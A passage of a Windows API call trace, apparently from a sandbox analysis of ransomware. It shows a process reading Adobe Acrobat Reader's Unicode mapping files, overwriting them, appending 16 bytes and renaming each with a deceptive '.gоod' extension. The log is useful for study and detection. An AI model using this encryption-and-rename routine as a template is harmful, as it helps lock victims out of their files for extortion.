ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3c4cf806, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x376f)) returned 1 [0107.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0107.526] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt.gоod")) returned 1 [0107.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0107.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), fInfoLevelId=0x0, lpFileInformation=0x3532948 | out: lpFileInformation=0x3532948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x383a)) returned 1 [0107.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0107.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.527] GetFileType (hFile=0x6e8) returned 0x1 [0107.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.527] GetFileType (hFile=0x6e8) returned 0x1 [0107.527] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0107.527] ReadFile (in: hFile=0x6e8, lpBuffer=0x3532dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3532dc0*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0107.576] CloseHandle (hObject=0x6e8) returned 1 [0107.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.576] GetFileType (hFile=0x6e8) returned 0x1 [0107.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.576] GetFileType (hFile=0x6e8) returned 0x1 [0107.576] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x383a [0107.576] WriteFile (in: hFile=0x6e8, lpBuffer=0x3534088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3534088*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0107.579] CloseHandle (hObject=0x6e8) returned 1 [0107.579] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.579] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.579] GetFileType (hFile=0x6e8) returned 0x1 [0107.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.579] GetFileType (hFile=0x6e8) returned 0x1 [0107.579] ReadFile (in: hFile=0x6e8, lpBuffer=0x3536398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3536398*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0107.669] CloseHandle (hObject=0x6e8) returned 1 [0107.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.670] GetFileType (hFile=0x6e8) returned 0x1 [0107.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.670] GetFileType (hFile=0x6e8) returned 0x1 [0107.670] WriteFile (in: hFile=0x6e8, lpBuffer=0x35350c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x35350c0*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0107.670] CloseHandle (hObject=0x6e8) returned 1 [0107.670] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT", lpFilePart=0x0) returned 0x62 [0107.670] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.gоod", lpFilePart=0x0) returned 0x67 [0107.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0107.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3c64bb41, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x384a)) returned 1 [0107.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0107.670] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt.gоod")) returned 1 [0107.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0107.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0107.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), fInfoLevelId=0x0, lpFileInformation=0x35b3900 | out: lpFileInformation=0x35b3900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x39ab)) returned 1 [0107.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0107.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0107.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.672] GetFileType (hFile=0x6e8) returned 0x1 [0107.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.672] GetFileType (hFile=0x6e8) returned 0x1 [0107.672] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0107.672] ReadFile (in: hFile=0x6e8, lpBuffer=0x35b3d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x35b3d98*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0107.673] CloseHandle (hObject=0x6e8) returned 1 [0107.673] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0107.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.674] GetFileType (hFile=0x6e8) returned 0x1 [0107.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.674] GetFileType (hFile=0x6e8) returned 0x1 [0107.674] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x39ab [0107.674] WriteFile (in: hFile=0x6e8, lpBuffer=0x35b50b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x35b50b0*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0107.675] CloseHandle (hObject=0x6e8) returned 1 [0107.675] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0107.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.675] GetFileType (hFile=0x6e8) returned 0x1 [0107.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.675] GetFileType (hFile=0x6e8) returned 0x1 [0107.675] ReadFile (in: hFile=0x6e8, lpBuffer=0x35b73e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35b73e0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0108.098] CloseHandle (hObject=0x6e8) returned 1 [0108.098] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0108.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.098] GetFileType (hFile=0x6e8) returned 0x1 [0108.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.098] GetFileType (hFile=0x6e8) returned 0x1 [0108.098] WriteFile (in: hFile=0x6e8, lpBuffer=0x342b3c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x342b3c0*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0108.098] CloseHandle (hObject=0x6e8) returned 1 [0108.098] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT", lpFilePart=0x0) returned 0x65 [0108.098] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.gоod", lpFilePart=0x0) returned 0x6a [0108.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0108.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3ca51ace, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x39bb)) returned 1 [0108.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0108.099] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt.gоod")) returned 1 [0108.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0108.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), fInfoLevelId=0x0, lpFileInformation=0x351bab0 | out: lpFileInformation=0x351bab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3d56)) returned 1 [0108.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0108.100] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.100] GetFileType (hFile=0x6e8) returned 0x1 [0108.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.100] GetFileType (hFile=0x6e8) returned 0x1 [0108.100] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0108.100] ReadFile (in: hFile=0x6e8, lpBuffer=0x351bf28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x351bf28*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0108.102] CloseHandle (hObject=0x6e8) returned 1 [0108.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.102] GetFileType (hFile=0x6e8) returned 0x1 [0108.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.102] GetFileType (hFile=0x6e8) returned 0x1 [0108.102] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x3d56 [0108.102] WriteFile (in: hFile=0x6e8, lpBuffer=0x351d1f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x351d1f0*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0108.103] CloseHandle (hObject=0x6e8) returned 1 [0108.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.104] GetFileType (hFile=0x6e8) returned 0x1 [0108.104] SetThreadErrorMode (dwNewMode=0x0, 